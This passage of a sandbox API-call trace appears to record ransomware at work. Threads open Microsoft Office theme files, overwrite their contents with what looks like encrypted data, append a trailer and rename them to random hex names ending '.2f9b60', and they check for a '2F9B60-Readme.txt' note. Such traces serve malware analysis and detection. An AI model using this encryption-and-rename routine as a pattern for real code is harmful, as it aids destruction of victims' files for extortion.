lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x3442fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.911] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8110 [0111.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8110) returned 1 [0111.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8110 [0111.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a84a0 [0111.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a84a0) returned 1 [0111.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.912] WriteFile (in: hFile=0x1574, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3442fa60, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x3442fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20262840 [0111.917] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.917] WriteFile (in: hFile=0x1574, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3442fb10, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x3442fb10*=0x106, lpOverlapped=0x0) returned 1 [0111.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b00 [0111.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b00) returned 1 [0111.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0111.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b00 [0111.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0111.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634d0) returned 1 [0111.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fd70 [0111.920] sprintf (in: _Dest=0x1cd9fd70, _Format="%c%c" | out: _Dest="f8") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd72, _Format="%c%c" | out: _Dest="d2") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd74, _Format="%c%c" | out: _Dest="56") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd76, _Format="%c%c" | out: _Dest="a1") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd78, _Format="%c%c" | out: _Dest="86") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd7a, _Format="%c%c" | out: _Dest="52") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd7c, _Format="%c%c" | out: _Dest="68") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd7e, _Format="%c%c" | out: _Dest="6c") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd80, _Format="%c%c" | out: _Dest="ea") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd82, _Format="%c%c" | out: _Dest="eb") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd84, _Format="%c%c" | out: _Dest="29") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd86, _Format="%c%c" | out: _Dest="6f") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd88, _Format="%c%c" | out: _Dest="84") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd8a, _Format="%c%c" | out: _Dest="f5") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd8c, _Format="%c%c" | out: _Dest="fd") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd8e, _Format="%c%c" | out: _Dest="02") returned 2 [0111.920] sprintf (in: _Dest=0x1cd9fd90, _Format="%c%c" | out: _Dest="96") returned 2 [0111.921] sprintf (in: _Dest=0x1cd9fd92, _Format="%c%c" | out: _Dest="1d") returned 2 [0111.921] sprintf (in: _Dest=0x1cd9fd94, _Format="%c%c" | out: _Dest="30") returned 2 [0111.921] sprintf (in: _Dest=0x1cd9fd96, _Format="%c%c" | out: _Dest="f8") returned 2 [0111.921] RtlInitAnsiString (in: DestinationString=0x3442fb88, SourceString="f8d256a18652686ceaeb296f84f5fd02961d30f8" | out: DestinationString="f8d256a18652686ceaeb296f84f5fd02961d30f8") [0111.921] RtlAnsiStringToUnicodeString (in: DestinationString=0x3442fb58, SourceString="f8d256a18652686ceaeb296f84f5fd02961d30f8", AllocateDestinationString=1 | out: DestinationString="f8d256a18652686ceaeb296f84f5fd02961d30f8") returned 0x0 [0111.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceb80 [0111.921] wcscat (in: _Dest=0x20279df0, _Source="f8d256a186" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\f8d256a186") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\f8d256a186" [0111.921] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\f8d256a186.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\f8d256a186.2f9b60" [0111.921] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\f8d256a186.2f9b60", NtPathName=0x3442fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\f8d256a186.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119720 [0111.921] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x3442fbd0, FileInformation=0x119720, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0111.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0111.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.923] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x3442fb98, FileInformation=0x3442fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3442fb98, FileInformation=0x3442fba8) returned 0x0 [0111.923] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x3442fb98, FileInformation=0x3442fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb80) returned 1 [0111.925] FlushFileBuffers (hFile=0x1574) returned 1 [0111.929] CloseHandle (hObject=0x1574) returned 1 [0111.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.932] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.932] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65c30) returned 1 Thread: id = 1089 os_tid = 0x17ac [0111.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0111.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx", dwFileAttributes=0x20) returned 1 [0111.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.884] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x3436fc60 | out: lpFileSize=0x3436fc60*=31224) returned 1 [0111.884] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x79f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.884] ReadFile (in: hFile=0x160c, lpBuffer=0x3436fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3436fc28, lpOverlapped=0x0 | out: lpBuffer=0x3436fbe0*, lpNumberOfBytesRead=0x3436fc28*=0x4, lpOverlapped=0x0) returned 1 [0111.898] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8110 [0111.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8170 [0111.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a84a0 [0111.898] NtQuerySystemTime (in: CurrentTime=0x3436fb20 | out: CurrentTime=0x3436fb20*=132462177173506000) returned 0x0 [0111.898] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x62c8781 [0111.898] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x3e322ae0 [0111.898] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x798d0db7 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x67e91200 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x3a2bc858 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x33c01d0e [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x79074633 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x65a94f1f [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x7c8b6f61 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x419f3ec7 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x5f7f2251 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x1738b079 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x2facd03 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x16b29d3a [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x2078fbfb [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x160acb4b [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x37b68e30 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x34f363f0 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x6cd3a272 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x33d234c3 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x3a2bc858 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x77b9e1c4 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x4a47a159 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x7d60699c [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x191eedfa [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x5a51d357 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0xfef0d56 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x58ee0da8 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x30bf949 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x57a14737 [0111.899] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x37624c43 [0111.900] RtlRandomEx (in: Seed=0x3436fb10 | out: Seed=0x3436fb10) returned 0x37624c43 [0111.909] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.909] ReadFile (in: hFile=0x160c, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3436fb80, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3436fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0111.914] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a84a0 [0111.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a84a0) returned 1 [0111.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0111.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a84a0 [0111.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0111.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262840) returned 1 [0111.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.915] WriteFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3436fb80, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x3436fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0111.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202626c0 [0111.918] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.918] WriteFile (in: hFile=0x160c, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3436fc30, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x3436fc30*=0x106, lpOverlapped=0x0) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8530 [0111.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8530) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0111.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8530 [0111.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80e0 [0111.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a80e0) returned 1 [0111.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fd70 [0111.927] sprintf (in: _Dest=0x1cd9fd70, _Format="%c%c" | out: _Dest="45") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd72, _Format="%c%c" | out: _Dest="37") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd74, _Format="%c%c" | out: _Dest="5f") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd76, _Format="%c%c" | out: _Dest="af") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd78, _Format="%c%c" | out: _Dest="00") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd7a, _Format="%c%c" | out: _Dest="11") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd7c, _Format="%c%c" | out: _Dest="ce") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd7e, _Format="%c%c" | out: _Dest="f3") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd80, _Format="%c%c" | out: _Dest="ab") returned 2 [0111.927] sprintf (in: _Dest=0x1cd9fd82, _Format="%c%c" | out: _Dest="5d") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd84, _Format="%c%c" | out: _Dest="a8") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd86, _Format="%c%c" | out: _Dest="3f") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd88, _Format="%c%c" | out: _Dest="e5") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd8a, _Format="%c%c" | out: _Dest="28") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd8c, _Format="%c%c" | out: _Dest="64") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd8e, _Format="%c%c" | out: _Dest="70") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd90, _Format="%c%c" | out: _Dest="69") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd92, _Format="%c%c" | out: _Dest="b6") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd94, _Format="%c%c" | out: _Dest="84") returned 2 [0111.928] sprintf (in: _Dest=0x1cd9fd96, _Format="%c%c" | out: _Dest="fe") returned 2 [0111.928] RtlInitAnsiString (in: DestinationString=0x3436fca8, SourceString="45375faf0011cef3ab5da83fe528647069b684fe" | out: DestinationString="45375faf0011cef3ab5da83fe528647069b684fe") [0111.928] RtlAnsiStringToUnicodeString (in: DestinationString=0x3436fc78, SourceString="45375faf0011cef3ab5da83fe528647069b684fe", AllocateDestinationString=1 | out: DestinationString="45375faf0011cef3ab5da83fe528647069b684fe") returned 0x0 [0111.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceac0 [0111.928] wcscat (in: _Dest=0x20279df0, _Source="45375faf00" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\45375faf00") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\45375faf00" [0111.928] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\45375faf00.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\45375faf00.2f9b60" [0111.928] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\45375faf00.2f9b60", NtPathName=0x3436fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\45375faf00.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119720 [0111.929] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3436fcf0, FileInformation=0x119720, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0111.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0111.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.934] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x3436fcb8, FileInformation=0x3436fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3436fcb8, FileInformation=0x3436fcc8) returned 0x0 [0111.934] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3436fcb8, FileInformation=0x3436fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0111.936] FlushFileBuffers (hFile=0x160c) returned 1 [0111.937] CloseHandle (hObject=0x160c) returned 1 [0111.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.938] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.938] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 Thread: id = 1090 os_tid = 0x17b0 [0111.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0111.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx", dwFileAttributes=0x20) returned 1 [0111.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.940] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x341bfaa0 | out: lpFileSize=0x341bfaa0*=112504) returned 1 [0111.940] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x1b774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.940] ReadFile (in: hFile=0x160c, lpBuffer=0x341bfa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x341bfa68, lpOverlapped=0x0 | out: lpBuffer=0x341bfa20*, lpNumberOfBytesRead=0x341bfa68*=0x4, lpOverlapped=0x0) returned 1 [0111.943] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a81d0 [0111.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a81a0 [0111.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.943] NtQuerySystemTime (in: CurrentTime=0x341bf960 | out: CurrentTime=0x341bf960*=132462177173974000) returned 0x0 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x52b7301 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x22f1e9b1 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x5b278467 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x2a90c0f9 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x6eaebf32 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x263f2399 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x2b42dac0 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x2a8ce4fc [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x2a794a6f [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x61310fb5 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x48a657d8 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0xda50337 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x52b7301 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x2d34ddba [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x18688954 [0111.943] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x23a47ab0 [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x62cd95bc [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 0x63bf5d5a [0111.944] RtlRandomEx (in: Seed=0x341bf950 | out: Seed=0x341bf950) returned 